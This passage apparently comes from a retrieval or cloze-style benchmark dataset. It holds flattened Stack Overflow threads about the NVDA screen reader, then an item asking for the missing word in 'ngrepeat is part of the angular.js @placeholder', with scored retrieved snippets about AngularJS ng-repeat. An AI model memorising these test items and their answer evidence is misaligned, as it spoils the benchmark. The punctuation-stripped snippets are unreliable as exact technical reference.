reader would read something like : .. . .. . so on and so forth. . .. . .. . How to I avoid prevent the NVDA screen reader from reading a blank input field when focused Kindly help Comment : Hi have you been able to rectify this I ve the exact same problem .", "Question : I am having a problem with NVDA screen reader in that it will read all elements out on the same line in one block . For example with the following code : .. . .. . This will display all navigation links in a row which is visually correct but NVDA in browse mode when scrolling through with the arrow keys will read all the links together . The user cannot move between each individual link meaning it is impossible to stay on one and select it . The same happens with a link in the middle of a paragraph : .. . .. . In my navigation example changing the style so each link is on a separate line : .. . .. . Fixes the problem for NVDA - the user can move between links - but is visually wrong . The only way I have found to make it visually correct and force NVDA to read it separately is to display each anchor as a block inside the list item : .. . .. . But this feels hacky and is not a solution in every situation this will not work within a paragraph for example . Is there an attribute I can add or any other better way to make NVDA read each element separately This issue is across all browsers . .. . Answer : You do not need to do anything the user can navigate to each link and can activate them . The user can interrupt the reading at any point with the CONTROL key . Also after the link has been read the user can use the SHIFT-TAB key to navigate backwards to each link . Also the user can use the K key to navigate between links . In addition the user can use the NVDA+control+leftArrow key to move backwards word-by-word . The key here is to ensure that each link is focusable with the TAB by ensuring that it has an href attribute . So a Not really a link a will not be identified as a link and will not be TAB focusable . Here is a reference for the keyboard commands for NVDA http : community.nvda-project.org documentation userGuide.html .. . .. . If you want to change the default behavior to make NVDA read links as-if there were only one per line as JAWS does do the following : .. . .. . 1 . Go to the NVDA menu insert n . 2 . Go to preferences . 3 . Choose Browse mode . 4 . Uncheck the second check box Use screen layout when supported . .. . 5 . Choose OK . .. . 6 . Go back to the NVDA menu insert n . 7 . Choose save configuration . If you don t do this depending on how you have NVDA configured this change might not persist across restarts . Comment : This is a requirement from our client and raised by a tester who is visually impaired and expects to be able to browse through the links with the arrow key as described . Comment : This is not a valid accessibility issue that is being raised by your tester Comment : The client isn t happy with it and I don t think it s an unreasonable issue . It does make for a poor user-experience . Comment : It is just the way the screen reader works . If you want a professional opinion to convince the client then companies like deque.com http : www.deque.com will be able to help Comment : Just added instructions on how to configure NVDA to work like JAWS", "Question : I have multiple sets of dynamic-content on my page that get updated following some user interaction . I want the updated content to be read out by a screen reader but the live region is not being read by NVDA on chrome . It s working on Firefox though . Please help . Jaws and chromevox on chrome are also not working . .. . Answer : Chrome is not commonly used by screenreaders and is lacking in some key accessibility areas . NVDA is most commonly used with Firefox as it s the one of the best browser-screenreader pairings . This resource from a leading accessibility firm doesn t list chrome as supporting it although Chrome is significantly far behind in terms of adoption by users with assistive technology - they aren t even mentioned on the page : https : www.paciellogroup.com blog 2014 03 screen-reader-support-aria-live-regions .. . .. . If you re interested in common browser pairings eg . which screenreader browser combinations are worth supporting to accommodate the majority of users please keep an eye on the webaim screenreader surveys - they re the best resource I ve come across for statistics . http : webaim.org projects screenreadersurvey6 .. . .. . apologies for not being able to directly answer why Chrome doesn t seem to work well with NVDA - It s a dangerous road to go down as there are numerous areas where they don t work well together . Considering the usage of Chrome NVDA users it might not be worth it .", "Question : I am having trouble with nvda . I have one main div tag and and inside that div tag there are multiple div tags . Whenever I will click on button this main div tag get focused . I am expecting that screen reader should read the entire content . Can I know what pieces of code I am missing . This is muy fiddle : http : jsfiddle.net o27ogt2z .. . .. . HTML Code : .. . .. . This is my JS file . Expected is : 1 : I will click on save button click . So focus will will get transferred to mrn description div . After that I am expecting screen reader to read everything inside that div . Including child div and span . while getting focused NVDA is not reading anything . After I tab focus will go to the back button . Now if I will so shift + tab getting back to get focus on mrn description tag then it NVDA reading everything . Any help with fill in the blanks . .. . Answer : Your implementation reads for me in NVDA with Firefox although not in the most ideal way . I would recommend some changes . 1 . One of the reasons you may be running into difficulties is because you are causing the alert window to pop-up then you want the focused text to be read . Remove the call to the alert window and it should read how you expect . 2 . Do not wrap the contents in label . label should only be used with form input elements . In your implementation you don t really need the label element . 3 . The for attributes on the label are invalid . They cannot contain spaces . 4 . You don t need role button on the button element . That is redundant . 5 . Don t put aria-label attributes on a text element . In general they will not be read by screen-readers .", "Question : null .. . Answer : On mouse-over on an image in IE browser the NVDA screen reader reads the entire source of the image file along with alt text and title for example : .. . .. . Smiley http : blog.smiley.com wp-content uploads 2015 05 High-Res-image.jpg .. . .. . How do I avoid this from happening I want the screen reader to read only the alt text and title .", "Question : My HTML page contains the following line : .. . .. . When reading the page with NVDA screen reader version 2016.1 it only read W3C but never the title . I tried to find a setting in NVDA to activate the reading of the title attribute but without any luck . Nothing also on Google about this limitation last version of NVDA should read titles . I have not tried with any other screen-readers like JAWS or Voice Over . .. . Answer : I found this article that clarifies a lot : title attribute and accessibility https : silktide.com i-thought-title-text-improved-accessibility-i-was-wrong .. . .. . Basically using title attributes is of no use for screen reader . Instead we should always use hidden text for screen-readers in addition to the title attribute that is still useful for other cases . For example if you use Bootstrap with the question example : Comment : Accessibility targets different kind of people who are not all of them blind people . Defining the abbreviations is really useful for people with cognitive disabilities which is not the case of blind people . Comment : This is a very bad example . Screen reader users are same people as everyone else . No-one will want to hear abbreviations like NATO or FBI and W3C too being read in full every time they appear in the text . At least with the title attribute it is possible not to read it in the screen reader settings . With this one there is no way to block it from being read . Comment : Yes @tomasz86 but again this is a customer requirement and it is for an abbreviation that is not as famous as W3C W3C is just an example here . Comment : @jthe In case of less known abbreviations why not just do W3C World Wide Web Consortium This will benefit both blind and sighted users . In this particular example I cannot see any valid reason to expand the abbreviation only to screen reader users and hide it for everyone else . You probably could provide the full form once in brackets and then just use the abbreviation alone . Comment : Moreover accessibility does not mean just screen-readers . Hiding important content this way resembles the old deprecated table summary attribute which in the end did not help anybody . I believe that important content should be accessible to all users not just those with a screen reader or any other specific group .", "Question : I encountered the problem when developing swing application with NVDA that NVDA only reads the accessible content I assgined to the component In my case a toggle button when I fire a click on that component but what I am looking for is NVDA to start reading when I have my mouse over it . I actually have seen it working NVDA reads on mouse over component on someone others laptop so it convinced me I must have something mis-configured but both laptops mine and the working one installed NVDA using default options and follows the same procedure to install jaccess to jre . I have been struggling with this issue for days and feel painful trying to resolve the problem I will be so grateful if someone could help .. . .. . Im using openJdk7 .. . Answer : Found the problem . It is related to my workstation setup . I got a laptop and an external monitor and I m used to get all works done in the bigger monitor while leaving the laptop screen open for mails client . Laptop s own monitor is set to be the main display in windows . It takes me days figure out what actually happens was NVDA + JAB + Swing is not responsive on hover events on swing components in my secondary monitor . But when I drag my swing application to the primary monitor all things worked magically . Hope my comments would be helpful to who else encountering a similar case .", "Question : So I have this code : .. . .. . And I want it so that when I focus on sitetour-header the screen reader will read the contents of the text accordingly... . but this code doesn t read it properly when using NVDA + Firefox...what did I do wrong Comment : what does it read .. . Answer : I ve tried to reproduce this issue in codepen jsfiddle and using static html and all three are reading the text using firefox and NVDA . If the text is not being read it s likely due to interference from other aspects of the page . If you re able to say how it s not being read properly that could also help figure out what s going on .", "Question : My HTML page contains the following line : .. . .. . When reading the page with NVDA screen reader version 2016.1 it only read W3C but never the title . I tried to find a setting in NVDA to activate the reading of the title attribute but without any luck . Nothing also on Google about this limitation last version of NVDA should read titles . I have not tried with any other screen-readers like JAWS or Voice Over . .. . Answer : Blind people understand abbreviations like other people . So they do not want to hear the definition of FBI NASA W3C each time those abbreviations are spoken . although this can be configured in some screen-readers .. . .. . If you think that an abbreviation should be explained then everyone is concerned and providing a definition with an abbr tag is a bad idea because it requires a standard user to hover the term with a mouse . In fact the only interest of the abbr tag is to mark semantically an abbeviation in order to be spell-out for instance . If you want to explain an abbreviation use full definitions . Bad example : abbr title Doctor Dr abbr Martin lives in Lincoln abbr title Drive Dr abbr .. . .. . He works for the abbr title Worldwide Web Consortium W3C abbr .. . .. . Good example : Doctor Martin lives in Lincoln Drive .. . .. . He works for the World Wide Web Consortium known as the abbr W3C abbr Comment : Thank you . In my particular case W3C was just an example but is not my real business use-case I have to keep the abbreviation displayed only . This is a request from customer who is controlling the design and with the context around it can easily been understood by the non-blind user . Context can be trickier to grasp for blind user however . This is why I have to add the screen reader only help also a request from the customer . Therefore my question was not how to avoid the use-case but rather how to address it efficiently . Comment : As long as you have an information which is not accessible to all users this won t be accessible . People with a screen magnifier which is more common than a screen reader can only view a small area let s say for instance the equivalent of 320x240 CSS pixels but don t use a screen reader . They won t have any benefit of screen reader only solution and won t benefit of the context . So yes you will answer your client request but not people needs . But I perfectly understand that sometimes we have to give a solution to customers even if they ask for bad things .", "Question : null .. . Answer : I have installed NVDA using the installation wizard not portable copy . Now I d like to copy the NVDA folder to another computer that hasn t admin rights . Will this work Would this be the same like installing NVDA as a portable copy The reason why I don t want to install manually as portable copy is that my NVDA installation is highly configured and I don t want to re-configure everything again . Comment : Did you try saving the configuration and then reloading it on another machine What version of NVDA", "Question : When we use the tab key to cycle through the a input select elements across the page the NVDA reader will call out the inner text . Is there a way to markup the code so that it picks up and reads headers 1-6 It seems a bit of a hack to wrap the headers around an a is there any other solution I tried to add a aria-label attribute but that was just shooting in the dark . .. . Answer : I would say this is not a good idea . People with mobility disabilities will find the page combersome to use maybe even annoying since you are adding more things to tab through . NVDA and other screen-readers have built-in hot keys to allow users to jump to or cycle through the headings . A user can press H to jump to whatever the next heading is or they can press 1-6 to jump to a specific heading level . If you still want to do this you can do : Comment : Thank you we didn t end up doing it either . It was a misinterpretation of the requirement and I forgot about tabindex should worse come to worse . Thank you for the insight on the features on the reader too .", "Question : null .. . Answer : Does NVDA have character limit defined for reading a text I m having a a like below : .. . .. . NVDA is reading it as :", "Question : null .. . Answer : NVDA in IE11 is reading url of Link specified as href attribute . Role tab is used on the link . This is causing issue in screen-reader compliance . How to prevent href getting read Is it a browser and screen-reader compliance issue Comment : Could you post the HTML please It might be that making a link a tab nullifies the link but the context would help work out what it is taking as the accessible name of that element . Comment : Also make sure you have an actual text inside your link or use title attribute or aria-label . Otherwise it will read the href", "Question : Putting a with an aria-hidden true NVDA will still read Your browser does not support the video tag . while the video is loading . Once the video is loaded it will play . For some reason when using IE NVDA will not ignore that text . It does not read it when using Chrome nor does VoiceOver read it . Has anybody run across this and no how to fix it here is the code : Comment : Note that NVDA pairs best with Firefox . JAWS generally pairs best with IE not Edge . .. . Answer : It would help if you provide more details of specific versions of IE and NVDA and whether you are using a keyboard or mouse . I am assuming mouse interaction because that s usually the culprit one in IE . With that assumption I don t think it s something you can really fix with just HTML or CSS https : github.com nvaccess nvda issues 5320 . NVDA in IE in mouse mode ends up reading a fair amount of unnecessary items . I assume this is what it relates to . You can try display none role presentation aria-hidden position off screen etc . and it will still seem to read it whether it is inside or outside of the video tag . So then it comes to why you are wanting this to be hidden . I figure this is not your real code since you do have sources and they do load . So if the text is there just for older browsers I would suggest not having the span at all initially . You might want to use modernizr or do checks to see if the video tag is supported and then if it isn t add-in the span . Or if you just want to account for older versions of IE you could put the content within conditional tags . Unfortunately there doesn t look to be an easy answer from everything that I ve found ." ] }
[ "yes-answer-long", "yes-answer-short" ]
operating-system
UNK_RELATION
ng-repeat@api@49
ng-repeat -- ngrepeat is part of the angular.js @placeholder .
{ "confidence": [ 39.6421012878418, 38.4403076171875, 38.258026123046875, 36.3040771484375, 36.3040771484375, 36.15984344482422, 35.8502311706543, 35.393836975097656, 35.39007568359375, 35.13722610473633, 34.82264709472656, 34.82264709472656, 34.82264709472656, 34.82264709472656, 34.82264709472656, 34.412330627441406, 33.945762634277344, 33.935585021972656, 33.89564514160156, 33.88933181762695, 33.88933181762695, 33.88933181762695, 33.827735900878906, 33.681819915771484, 33.681819915771484, 33.580406188964844, 33.23948669433594, 33.23948669433594, 33.017581939697266, 32.92212677001953, 32.92212677001953, 32.89353942871094, 32.89353942871094, 32.85718536376953, 32.85718536376953, 32.85718536376953, 32.85718536376953, 32.85718536376953, 32.85718536376953, 32.815956115722656, 32.815956115722656, 32.815956115722656, 32.815956115722656, 32.815956115722656, 32.815956115722656, 32.815956115722656, 32.414852142333984, 32.414852142333984, 32.414852142333984, 32.414852142333984, 32.0927848815918, 32.066795349121094, 32.066795349121094, 32.054378509521484, 32.042667388916016, 32.042667388916016, 32.042667388916016, 32.042667388916016, 32.042667388916016, 31.923873901367188, 31.84737205505371, 31.84737205505371, 31.75448989868164, 31.75448989868164, 31.75448989868164, 31.311140060424805, 31.311140060424805, 31.311140060424805, 31.311140060424805, 31.311140060424805, 31.311140060424805, 31.311140060424805, 31.311140060424805, 31.21521759033203, 31.21521759033203, 31.139461517333984, 30.956666946411133, 30.956666946411133, 30.956666946411133, 30.939594268798828, 30.877944946289062, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.850494384765625, 30.514331817626953, 30.420856475830078, 30.408161163330078, 30.408161163330078, 30.384822845458984, 30.377826690673828, 30.282794952392578, 30.282794952392578 ], "content": [ "Please check the documentation for ng-repeat https : docs.angularjs.org api ng directive ngRepeat for the correct format of using track by index .", "The docs https : docs.angularjs.org api ng directive ngRepeat introduce ng-repeat-start and ng-repeat-end but I can t figure out how to use it is this use-case", "ktstowell.github.io ng-repeat-while http : ktstowell.github.io ng-repeat-while", "ng-repeat only works with array .", "Custom Filter .. . .. . Data .. . .. . NG-Repeat", "Here in your case you had ng-model kindSelected variable inside ng-repeat so that scope variable got create inside the ng-repeat scope and doesn t available outside ng-repeat directive .", "It works perfectly with ng-repeat but doing this in an ng-repeat-start fails .", "just use index .. . .. . ngRepeat Docs index http : docs.angularjs.org api ng directive ngRepeat .. . .. . In the example in the ng-repeat docs u can see the usage of index", "This answer Generate ng-model inside ng-repeat http : stackoverflow.com questions 22387326 generate-ng-model-inside-ng-repeat does not provide a unique ng-model value", "You can use index https : docs.angularjs.org api ng directive ngRepeat", "no it is an object but the first ng-repeat works though", "is there a way to provide a sort function with ng-repeat", "My animation with ng-repeat does not seem to work .", "I forgot to remove ng-repeat on the parent element .", "In the ng-repeat I add a class first .", "ng-if in ng-repeat is Helpful", "I m using ng-if inside the ng-repeat to achieve this .", "The best resource would be to look at the source for ngRepeat on github https : github.com angular angular.js blob master src ng directive ngRepeat.js .", "ng-repeat supports filters", "I m trying to update a view with ng-repeat after pushing a new item to the list however ng-repeat still keeps the old reference .", "Possible duplicate of Iteration ng-repeat only X times in AngularJs http : stackoverflow.com questions 14198017 iteration-ng-repeat-only-x-times-in-angularjs", "Note that I was inspired by a comment in the ng-repeat docs : http : jsfiddle.net digitalzebra wnWY6 .. . .. . Note the ng-repeat directive : .. . .. . Here is the controller :", "How to define dynamic ng-repeat in scope variable like this : .. . .. . and use it in html : .. . .. . But error me .. . .. . Error : ngRepeat : iexp http : errors.angularjs.org 1.4.8 ngRepeat iexp p0 item.radioOptions .. . .. . Now How to create dynamic ng-repeat with this specification", "2 : I ve tried using another ng-repeat within the ng-repeat then check it against the first one fir a match .", "Sorry replace just in your original code ng-repeat account in accounts by : ng-repeat account in accounts.linklist", "then you know if smth was rendered and how much docs.angularjs.org api ng directive ngRepeat https : docs.angularjs.org api ng directive ngRepeat", "You can also use ng-repeat-start .. . and ng-repeat-end for situations more complex than this .", "thinkster.io egghead ng-repeat-start https : thinkster.io egghead ng-repeat-start", "ng-repeat has a priority of 1000 https : github.com angular angular.js blob v1.2.0-rc.2 src ng directive ngRepeat.js L215 which is actually higher than custom directives default priority is 0 .", "Try setting ng-repeat to country in countries track by index and ng-model to countries index", "You can use the ng-if directive with ng-repeat .. . .. . So if num is the number of times you need the element repeated :", "So I have an ng-repeat within an ng-repeat .", "Currently I have an ng-repeat nested inside another ng-repeat .", "Can also use a filter in ng-repeat .", "I have a simple ng-repeat with a filter on it below .", "my problem is that the ng-repeat is not updating automatically the data .", "The problem is ng-repeat created a new scope .", "The ng-repeat sessions in day could be empty .", "Let s assume that the events will be handled in an ng-repeat .", "ng-repeat obj in objs track by index orderBy : -createdAt", "Try without track by : ng-repeat obj in objs orderBy : -createdAt", "Ideally it should Print the correct list in ng-repeat using order-by .", "I want to use this ng-repeat setup for both JSON responses .", "I m applying a greater than filter to a ng-repeat tag .", "I m trying to group the items in a ng-repeat using a condition .", "I have an ng-repeat that loads posts from a firebase-database .", "So using ng-repeat would be helpful .", "So can I use ng-repeat at all", "Move your ng-repeat up to the ul .", "Is there a reason you have to do it in the ng-repeat", "Also you can use ng-repeat with ng-if :", "Technically you can use one ng-repeat to achieve it without ng-if .", "basecally I have an ng-repeat and an ng-include on the tr of a table .", "Point 1 : I extremely recommend you to use ngOptions https : docs.angularjs.org api ng directive ngOptions instead of ngRepeat .", "No the index is provided by the ng-repeat .", "Request headers : With ng-repeat :", "- ng-repeat item.radioOptions", "And the ng-repeat quote .", "New ng-repeat : .. . .. . In the controller :", "EDIT : Plunker : http : plnkr.co edit mWjyryOsV5zZJisZzV3D GOAL : Reduce 2 times ng-repeat into one ng-repeat which shows the same tags .", "Actually I has more complicated ng-repeat and ng-if already is in ng-repeat", "I had to use ng-init since I have another ng-repeat inside the ng-repeat shown above .", "Because ng-repeat does create a new child scope prototypically inherited on each iteration when it repeats a template on wherever ng-repeat directive has been placed .", "As pointed on Pankaj Parkar s answer http : stackoverflow.com questions 38275526 why-the-inputs-are-not-working-right-with-ng-repeat answer-38275584 ng-repeat creates its own scope .", "I am listing these items using ng-repeat : .. . .. . also tried with : .. . .. . A valid output is : .. . .. . My last option if there isn t a simple solution for my problem would be to group the data and then assign it to the scope variable used in ng-repeat .", "Use track by with ng-repeat for better performance .", "is there any method of dealing with this using ng-repeat", "I guess ng-repeat-start is not at right place", "I have an ng-repeat that prints list items .", "@Photovor it s because you have ng-repeat .", "I have a ng-repeat that displays upcoming activities .", "That array is bound to the ng-repeat for the tbody parameters .", "It s just not showing up in the ng-repeat .", "I m trying to generate dynamically the radio-buttons with an ng-repeat directive and get the current radio-button selected using ng-model .", "I don t understand how tr ng-repeat dataEntry in data.tests track by index ng-init rowIndex index can create rows of several questions .", "ngRepeat https : docs.angularjs.org api ng directive ngRepeat s track by feature can figure out when a new element is added to the array and automatically updates the DOM without changing the existing elements .", "I m having a hard time understanding how to use ng-model within ng-repeat .", "I find it easier to simply use ng-repeat combined with ng-if and offsetting any indexes using index .", "This is a simple way to do this with ng-repeat and ng-init to aggregate all the values and extend the model with a item.total property .", "is in order to populate the ng-repeat in newRegistration.html .", "Option 1 .. . .. . ng-show ng-hide approach : .. . .. . html : .. . .. . Option 2 : .. . .. . ng-repeat approach .. . .. . This should get you essentially the same result .", "I have a smimple ng-repeat that displays user details .", "Use a filter on ng-repeat with begin and limit set according to your requirement", "You should only pass the filtered result to your ng-repeat .", "You can optimize the ng-repeat performance by using .. . .. . 1 .", "I m using a ng-repeat inside a tr element together with a directive .", "I m gonna put a directive in it to detect when the ng-repeat is finished .", "Make sure ng-repeat has finished and fire an event with the items count .", "ng-repeat expression allows filtered results to be assigned to a variable .", "As of Angular 1.3 you can use following syntax for ng-repeat : .. . .. . That is :", "The script below displays a shop cart using ng-repeat .", "It shows how it is possible to define custom sort logic within an ng-repeat .", "problem is you doing ng-if but u put it on same line where ng-repeat present .", "I m actually using a factory that returns a promise I just tried using three independants ng-repeat instead of ng-repeat inside ng-repeat I also removed the init-onload that I took from the slick documentation and it still works the first time but it stacks after .", "Im using a simple ng-repeat to generate a list of countries .", "Based on Alpar solution using only templates with anidated ng-repeat .", "first check for ng-repeat part in parts is there any data available", "the problem is when I switch the variable object.edition from true to false or the contrary it run the ng-repeat so it duplicates all the line of the ng-repeat .", "Have you seen this : nganimate.org angularjs ng-repeat move http : www.nganimate.org angularjs ng-repeat move", "Possible duplicate of ng-repeat : filter by single field http : stackoverflow.com questions 14733136 ng-repeat-filter-by-single-field" ] }
{ "confidence": [ 51.18938064575195, 47.422149658203125, 47.0296630859375, 46.81163024902344, 46.54243850708008, 46.352745056152344, 45.54804992675781, 45.475929260253906, 45.033470153808594, 44.80339813232422, 43.11570358276367, 43.09679412841797, 42.83094787597656, 42.477203369140625, 42.34646987915039, 42.19163513183594, 41.90262222290039, 41.802024841308594, 41.34159851074219, 40.945945739746094 ], "content": [ "Question : I have item array that changes in application . When I delete items limitTo automatically trims its limit value but when I add items it doesn t return the original limit value back . Like as limit 5 and items.length becomes 2 limitTo value becomes 3 and never grows back to 5 when items.length increases . Uplating limit doesn work . Comment : Please check my answer . .. . Answer : Well the main problem is that you re adding the same element to list so ngRepeat claims about it giving the following error : ngRepeat : dupes https : docs.angularjs.org error ngRepeat dupes . To solve it you must use track by expression in your ngRepeat like this : .. . .. . Note : Filters like limitTo orderBy etc.. . must come before track by expression . Also I recommend you to use functions of controller for ng-click instead of doing all in view . Here s a version with all issues fixed : .. . .. . .. . angular.module app .. . .controller mainCtrl function scope .. . scope.filterLimit 5 .. . scope.itemList2 item1 item2 item3 item4 .. . .. . scope.add function .. . scope.itemList2.push item .. . .. . .. . scope.delete function .. . scope.itemList2.pop .. . .. . .. . scope.increment filter function .. . scope.filterLimit++ .. . .. . .. . .. . .. . DOCTYPE html .. . html ng-app app .. . .. . head .. . script src https : cdnjs.cloudflare.com ajax libs angular.js 1.5.7 angular.min.js script .. . head .. . .. . body ng-controller mainCtrl .. . div ng-repeat i in itemList2 limitTo : filterLimit .. . h5 ng-bind i h5 .. . div .. . button ng-click add Add button .. . br .. . button ng-click delete Delete button .. . br .. . button ng-click increment filter Update button .. . .. . hr .. . List : pre ng-bind itemList2 pre .. . Limit : pre ng-bind filterLimit pre .. . body .. . .. . html", "Question : I am defining a custom filter like so : .. . .. . As you can see the ng-repeat where the filter is being used is nested within another ng-repeat .. . .. . The filter is defined like this : .. . .. . I m getting : .. . .. . Error : Duplicates in a repeater are not allowed . Repeater : comment in item.comments range : 1 : 2 ngRepeatAction@ https : ajax.googleapis.com ajax libs angularjs 1.1.4 an .. . Answer : The solution is actually described here : http : www.anujgakhar.com 2013 06 15 duplicates-in-a-repeater-are-not-allowed-in-angularjs .. . .. . AngularJS does not allow duplicates in a ng-repeat directive . This means if you are trying to do the following you will get an error . However changing the above code slightly to define an index to determine uniqueness as below will get it working again . Official docs are here : https : docs.angularjs.org error ngRepeat dupes Comment : I wanted to mention that you can apply any custom tracking property to define uniqueness not just index . Since in this scenario the objects don t have any other properties this works fine . The reason this error happens is that angular is using a dictionary to store the id of an item as the key with the value as the DOM reference . From the code line 15402 in angular.js it looks like they are caching previously found DOM elements based on their key as a performance optimization . Since they need unique keys they explicitly throw this error when they find duplicate keys on line 15417 Comment : div ng-repeat row in 1 1 1 2 2 filter : 2 track by index the search filter needs to be before track by index Comment : Thanks man Works like a charm : Comment : Yikes what pointlessly nasty design on Angular s part . It would be very very easy to miss this issue during development and testing because your array never contained duplicates only to have your app explode in production when it gets exposed to dupes for the first time . I ve built Angular apps before without knowing about the no dupes restriction I now find myself thinking back and wondering whether I unknowingly authored broken code . Comment : Thanks in my opinion this should be the default behavior.. .", "Question : I can t figure out how to trigger animations on a nested ngRepeat with Angular . The CSS class .test is animated . When using .test on the inner ngRepeat it doesn t work Plunker http : plnkr.co edit dq0b39B3L2IhXTLEjmYv p preview : .. . .. . When using .test on the outer ngRepeat it does work Plunker http : plnkr.co edit DoW2YsmO9meuvZeJqJUx p preview : Comment : have you tried changing class to ng-class Comment : @RichardTorcato Just switching class to ng-class That shouldn t help as it is unrelated to ng-repeat . Comment : @PSL The inner ng-repeat isn t animated . You can check it here plnkr.co edit 506fyYc7fgsvEcXmlgpd p preview http : plnkr.co edit 506fyYc7fgsvEcXmlgpd p preview if you use different animations for the inner and outer ng-repeat . Comment : @Pipo Animation is a broad term animation can be done in many ways. . WHat are you looking for. . ALso there are numerous example online for angular animations Comment : Try this. . plnkr.co edit k6JdVy p preview http : plnkr.co edit k6JdVy p preview Need to add ng-animate-children on the parent .. . Answer : You probably need to add ngAnimateChildren https : github.com angular angular.js commit 931789ec1476e1d06739e63cb423eb87172b5ebc attribute on the parent container and update the css as well . Try : - .. . .. . and .. . .. . Plnkr http : plnkr.co edit 8J4Ltk p preview .. . .. . Found this from the doc https : code.angularjs.org 1.2.21 docs api ngAnimate usage .. . .. . Keep in mind that by default if an animation is running any child elements cannot be animated until the parent element s animation has completed . This blocking feature can be overridden by placing the ng-animate-children attribute on a parent container tag . Even though there is no animation on the parent repeat it seems like ng-animate just ignores any further animation on its children . Comment : Wow never heard of ng-animate-children before . I ve never seen this in the docs before . That absolutely solves the problem . Thank you very much .", "Question : Here s my code : .. . .. . In Angular.js v . 1.1.1 there s no mistake . In Angular.JS v 1.2.1 I get an infDig mistake . Fiddle of v.1.1.1 http : jsfiddle.net HB7LU 1502 .. . .. . Fiddle of v.1.2.1 http : jsfiddle.net HB7LU 1501 .. . .. . Could you explain this situation Thanks a lot . Comment : possible duplicate of How to Loop through items returned by a function with ng-repeat http : stackoverflow.com questions 12336897 how-to-loop-through-items-returned-by-a-function-with-ng-repeat .. . Answer : As of AngularJS 1.2 : The track by expression was added to ng-repeat and more appropriately addresses this issue as demonstrated in the following code . .. . .. . h1 ng-repeat item in func track by index something h1 .. . .. . scope.func function .. . return property : value1 property : value2 .. . .. . .. . .. . The following article helps understand the expression in more detail and why it is so useful particularly when dealing with haskey Using Track-By With ngRepeat In AngularJS 1.2 by Ben Nadal http : www.bennadel.com blog 2556-using-track-by-with-ngrepeat-in-angularjs-1-2.htm . The problem is that you re creating a new array each time so it s something new that angular needs to track . As far as I can tell ng-repeat runs then immediately checks its collection again to see if anything changed in that cycle . Because the function returns a new array that is perceived as a change . Check this out : http : jsfiddle.net kL5YZ . If you look in the console.log and click the button you will see that the hashKey property of the objects is being changed each time ng-repeat runs . The change occurs starting at version 1.1.4 but the changelog doesn t give any clues as to why the behavior is different . The new behavior does make more sense to me . Here s a great post I found explaining the current behavior in depth : How to Loop through items returned by a function with ng-repeat http : stackoverflow.com questions 12336897 how-to-loop-through-items-returned-by-a-function-with-ng-repeat .. . .. . If you make sure to return the same object array each time you won t have the error . You could have the function cache anything it creates based on the arguments and always return the same array object when those arguments are passed in . So myFunc foo will always return the same array not a new one that looks the same . See the notes in my code below . Live demo click . http : jsbin.com oZoHeRu 6 edit .. . .. . JavaScript : Comment : Thanks . But what if I need to pass parameter to this function : h1 ng-repeat item in func dynamicParameter something h1 Comment : @user3162402 I updated my answer with a generic but complete solution . I have also found a really good post on SO about the way ng-repeat works with a function but I still don t know why it used to work .", "Question : I want to determine whether any ng-repeated element is rendered . I write this code .. . .. . But this code doesn t work . Also I try to write parent.anyRendered inside ng-repeat . Comment : Can you post filterOptions object Comment : why dont you just use index then you know if smth was rendered and how much docs.angularjs.org api ng directive ngRepeat https : docs.angularjs.org api ng directive ngRepeat .. . Answer : just use index .. . .. . ngRepeat Docs index http : docs.angularjs.org api ng directive ngRepeat .. . .. . In the example in the ng-repeat docs u can see the usage of index Comment : How to use index 0 expression outside ng-repeat Comment : index is only usable in ng-repeat if you need it outside you probably have to write your own filter Comment : you could only try to pass index to a function or model value then you would have it elsewhere", "Question : I want to determine whether any ng-repeated element is rendered . I write this code .. . .. . But this code doesn t work . Also I try to write parent.anyRendered inside ng-repeat . Comment : Can you post filterOptions object Comment : why dont you just use index then you know if smth was rendered and how much docs.angularjs.org api ng directive ngRepeat https : docs.angularjs.org api ng directive ngRepeat .. . Answer : Try with ng-if Comment : Actually I has more complicated ng-repeat and ng-if already is in ng-repeat", "Question : I m trying to make a select list with two or three options which depends on the first selected option in a ng-repeat . When the customer selects in the first option Dome Camera there should be only list two options in the second ng-repeat based on the listed mounting items in this case : roof wall and pole . Can somebody help me with this The scope.cameraTyps looks like : Comment : If any of these answers solved your question you can always mark it as accepted by checking the tick mark next to it .. . Answer : First of all your data structure is incorrect I think your mounting object in fact is an array so I changed it . Point 1 : I extremely recommend you to use ngOptions https : docs.angularjs.org api ng directive ngOptions instead of ngRepeat . ngOptions was made exactly for select tag . Point 2 : You don t need to use ngChange directive or watch as some people suggested you just need to set the ngModel then Angular can do the rest . See it in action : .. . .. . .. . angular.module app .. . .controller mainCtrl function scope .. . scope.cameraTypes .. . .. . name : Dome Camera .. . price : 2975.67 .. . install : 4 .. . mounting : .. . .. . name : roof .. . .. . .. . name : wall .. . .. . .. . name : pole .. . .. . .. . .. . .. . name : WV-SF135E .. . price : 327.70 .. . install : 1.5 .. . mounting : .. . .. . name : roof .. . .. . .. . name : wall .. . .. . .. . lens : fixed .. . .. . .. . .. . .. . .. . DOCTYPE html .. . html ng-app app .. . .. . head .. . script src https : cdnjs.cloudflare.com ajax libs angular.js 1.5.7 angular.min.js script .. . head .. . .. . body ng-controller mainCtrl .. . table .. . tr .. . td .. . select class form-control name camera-type ng-options camera.name for camera in cameraTypes ng-model camera .. . option value Select a camera option .. . select .. . td .. . td ng-if camera .. . select class form-control name mounting-type ng-options m.name for m in camera.mounting ng-model mounting .. . option value Select a mounting option .. . select .. . td .. . tr .. . table .. . body .. . .. . html Comment : Thank you developer033 this works pretty good for me .", "Question : Say that I m ng-repeat ing over images which is an array of objects that have a src and a caption property . Assume that there could be duplicate images so a src + caption combination doesn t ensure uniqueness . I want to track by but there doesn t appear to be a way to do it other than index . index seems like a bad solution to me . Imagine that the first image a was removed . Then the index of all subsequent images would be changed and thus the whole list would have to be rerendered . This isn t too bad with a list of 10 items but it is with bigger lists . 1 . Thoughts 2 . Also what if src + caption was ensured to be unique How can I track by multiple properties 3 . Does track by work by putting the tracked property onto watchers Like is track by image.id doing something like scope . watch image.id cb .. . Answer : 1 You have it right . index is the only way to go given your constraints and it is not optimal . 2 The syntax is track by expression . Expression can be any valid angular expression so .. . .. . is perfectly valid . 3 track by doesn t use watchers . the ngRepeat directive maintains an internal map of models and DOM nodes indexed by the track by expression . It tries to reuse DOM nodes and scopes where possible . The only thing it watches is the collection . Comment : Thanks Would you mind elaborating a bit more on 3 I ve been trying to research it but can t find anything going into the depth I m looking for . Comment : The best resource would be to look at the source for ngRepeat on github https : github.com angular angular.js 